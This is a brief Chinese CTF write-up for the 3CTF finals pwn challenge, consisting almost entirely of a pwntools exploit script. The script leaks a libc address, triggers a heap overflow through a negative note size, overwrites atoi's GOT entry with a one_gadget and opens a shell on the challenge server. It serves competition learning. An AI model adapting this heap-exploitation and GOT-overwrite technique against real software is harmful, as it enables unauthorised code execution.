3CTF復(fù)賽Pwn writeup

生活如此艱難,事情多到無(wú)暇做題Orz
上周六3CTF復(fù)賽唯一的pwn題

#!/usr/bin/env python
from pwn import *

DEBUG = 0
REMOTE = 1

if (DEBUG):
    context.log_level = 'debug'
if (REMOTE):
    p = remote('180.153.183.86',10001)
    elf = ELF('./92226e82',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    p = process('./92226e82')
    elf = ELF('./92226e82',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)


def add_note(size,encode,secret):
    p.sendlineafter('choice:',str(1))
    p.sendlineafter('secret\n',str(size))
    p.sendlineafter('secret ?\n',str(encode))
    p.sendafter('secret:\n',secret)

def show_note(idx):
    p.sendlineafter('choice:',str(2))
    p.sendlineafter('notes:',str(idx))

def edit_note(idx,secret):
    p.sendlineafter('choice:',str(3))
    p.sendlineafter('edit:',str(idx))
    p.sendafter('secret:\n',secret)

def del_note(idx):
    p.sendlineafter('choice:',str(4))
    p.sendlineafter('destroy:',str(idx))

def exp():
    add_note(182,0,'A'*180)
    add_note(10,0,'AAAA')
    del_note(0)
    add_note(10,0,'AAAA')
    add_note(11,1,'MTExMTIyMjI')
    show_note(2)
    p.recvuntil('11112222')
    one = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78+0xf1147
    print hex(one)
    add_note(-1,0,'\x00'*520+p64(0x21)+p64(0)+p64(elf.got['atoi']))
    edit_note(0,p64(one))
    # get shell
    p.sendlineafter('choice:',str(1))
    p.sendlineafter('secret\n','sh')
    p.interactive()

if __name__ == '__main__':
    exp()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀(guān)點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容